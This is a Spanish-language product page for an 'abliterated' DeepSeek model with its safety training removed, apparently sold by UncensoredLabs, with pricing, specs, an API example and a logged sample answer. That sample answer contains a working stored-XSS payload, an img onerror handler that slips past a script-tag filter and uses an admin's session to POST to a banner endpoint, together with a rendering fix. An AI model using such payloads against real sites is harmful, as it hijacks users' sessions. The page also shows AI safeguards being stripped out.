DeepSeek V4.1 Flash Abliterated

deepseek-v4.1-flash-abliterated

Disponible en el chat del navegador y mediante la API compatible con OpenAI.

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Precios de tokens

Precios en USD por 1 millón de tokens

Entrada / 1M: 0,300 US$
En caché / 1M: 0,100 US$
Salida / 1M: 0,300 US$

Especificaciones del modelo

DeepSeek · abliterado

Ventana de contexto: 1.000.000 tokens
Salida máxima: 65.536 tokens
Capacidades: Texto · Streaming · Llamadas a herramientas

Rendimiento medido

Tokens/s promedio: ≈ 40,4
TTFT estimado: ≈ 24,9 s
Indicador de disponibilidad: 100%

Actualizado 1/11/26, 20:37:37 UTC · Éxito del proveedor en 24 h · Un guion indica que no hay suficientes mediciones actuales.

Mira cómo responde el modelo

Respuesta real a una pregunta sobre XSS almacenado en un laboratorio local. La pregunta y la respuesta están en inglés. La salida es texto; aquí no se ejecuta código de ejemplo.

DeepSeek V4.1 Flash Abliterated

Respuesta registrada · 28 oct 2026, 19:09 UTC

Tú

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

DeepSeek V4.1 Flash Abliterated

Extracto seleccionado de la respuesta registrada. Se omiten algunas partes.

## Payload (event handler survives the <script> strip)

<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'text=OWNED IN THE LAB',credentials:'same-origin'})">

Sanity checks: curl -s -X POST localhost:3000/admin/banner -d 'text=x' → no (401). With -b 'admin=1' → ok. ## Fix Keep the naive filter for tidiness, but escape at render time so only markup you emit is live:

<ul>${comments.map(c=>'<li>'+esc(c)+'</li>').join('')}</ul>

Ejemplo registrado, no es un chat en directo.Abrir chat

Usa este modelo mediante la API

Crea una clave API y añade saldo. Define UNCENSOREDLABS_API_KEY en tu entorno. Instala el paquete openai para JavaScript o Python.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "deepseek-v4.1-flash-abliterated",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'

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Limitaciones y facturación

Sin filtros no garantiza una respuesta a cada pregunta. Las respuestas pueden ser incorrectas, incompletas o rechazadas.
La salida máxima es el límite del servicio UncensoredLabs. No se han evaluado generaciones largas ni cargas de contexto completo.
Se reserva crédito para la salida solicitada y un límite conservador de entrada; se usa el contexto completo en modelos sin contabilidad verificada por tamaño de solicitud. El cargo final usa consumo verificado; las solicitudes inciertas pueden mantener su reserva.
El plazo es de diez minutos. Se aplican límites de frecuencia, concurrencia y disponibilidad del proveedor; los errores incluyen 429 con Retry-After.
UncensoredLabs no almacena preguntas ni respuestas en sus servidores. Se aplica la política de retención del proveedor de inferencia.

Errores y límites de frecuencia Cómo funciona la facturación Privacidad